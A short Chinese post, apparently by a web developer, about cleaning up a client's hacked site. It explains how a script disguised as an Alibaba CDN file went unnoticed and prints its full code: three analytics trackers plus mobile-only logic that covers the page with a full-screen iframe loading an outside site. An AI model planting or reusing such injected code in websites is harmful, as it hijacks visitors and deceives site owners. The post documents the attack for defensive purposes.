今天给有个客户网站被黑了给客户做网站安全修复

<script src="//img-alicdn.com/js-sdk-pro.min.js"></script>

这个代码 我前前后后看了10遍都没去想他是个恶意代码 都以为是阿里云的CDN

点开一看 傻眼了

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?e4a421e7639148192956b1741402a0e2";
  var s = document.getElementsByTagName("script")[0]; 
  s[xss_clean].insertBefore(hm, s);
})();

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?bf858790cc1b5bf72311717faa002bb1";
  var s = document.getElementsByTagName("script")[0]; 
  s[xss_clean].insertBefore(hm, s);
})();

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?983e51308ea0b41d540ae109dd018fed";
  var s = document.getElementsByTagName("script")[0]; 
  s[xss_clean].insertBefore(hm, s);
})();
        function isMobile() {
            let flag = navigator.userAgent.match(
                /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
            );
            return flag;
        }
        function toPage(){
            if (isMobile()) {
                var strUrl = "https://340224555310.cc/";
                [xss_clean]('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />'); 
                [xss_clean]('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>'); 
                [xss_clean]('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">'); 
                [xss_clean]('<iframe src=' +strUrl+' frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>'); 
                [xss_clean]('</div>');
                // location.href = "https://com";
            }else{
                
                
            }
        }
        toPage();